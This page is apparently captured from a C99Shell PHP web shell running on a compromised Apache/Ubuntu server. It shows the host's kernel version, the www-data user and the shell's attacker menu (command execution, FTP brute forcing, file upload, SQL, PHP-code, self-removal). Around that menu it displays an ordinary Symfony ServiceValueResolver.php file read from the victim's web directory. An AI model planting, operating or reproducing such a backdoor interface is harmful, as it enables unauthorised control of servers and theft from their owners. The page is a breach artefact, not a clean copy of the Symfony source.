!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/cloud_campaign/vendor/symfony/http-kernel/Controller/ArgumentResolver/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServiceValueResolver.php (2.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver;

use 
Psr\Container\ContainerInterface;
use 
Symfony\Component\DependencyInjection\Exception\RuntimeException;
use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface;
use 
Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;

/**
 * Yields a service keyed by _controller and argument name.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
final class ServiceValueResolver implements ArgumentValueResolverInterface
{
    private 
$container;

    public function 
__construct(ContainerInterface $container)
    {
        
$this->container $container;
    }

    
/**
     * {@inheritdoc}
     */
    
public function supports(Request $requestArgumentMetadata $argument): bool
    
{
        
$controller $request->attributes->get('_controller');

        if (
\is_array($controller) && \is_callable($controllertrue) && \is_string($controller[0])) {
            
$controller $controller[0].'::'.$controller[1];
        } elseif (!
\is_string($controller) || '' === $controller) {
            return 
false;
        }

        if (
'\\' === $controller[0]) {
            
$controller ltrim($controller'\\');
        }

        if (!
$this->container->has($controller) && false !== $i strrpos($controller':')) {
            
$controller substr($controller0$i).strtolower(substr($controller$i));
        }

        return 
$this->container->has($controller) && $this->container->get($controller)->has($argument->getName());
    }

    
/**
     * {@inheritdoc}
     */
    
public function resolve(Request $requestArgumentMetadata $argument): iterable
    
{
        if (
\is_array($controller $request->attributes->get('_controller'))) {
            
$controller $controller[0].'::'.$controller[1];
        }

        if (
'\\' === $controller[0]) {
            
$controller ltrim($controller'\\');
        }

        if (!
$this->container->has($controller)) {
            
$i strrpos($controller':');
            
$controller substr($controller0$i).strtolower(substr($controller$i));
        }

        try {
            yield 
$this->container->get($controller)->get($argument->getName());
        } catch (
RuntimeException $e) {
            
$what sprintf('argument $%s of "%s()"'$argument->getName(), $controller);
            
$message preg_replace('/service "\.service_locator\.[^"]++"/'$what$e->getMessage());

            if (
$e->getMessage() === $message) {
                
$message sprintf('Cannot resolve %s: %s'$what$message);
            }

            
$r = new \ReflectionProperty($e'message');
            
$r->setAccessible(true);
            
$r->setValue($e$message);

            throw 
$e;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--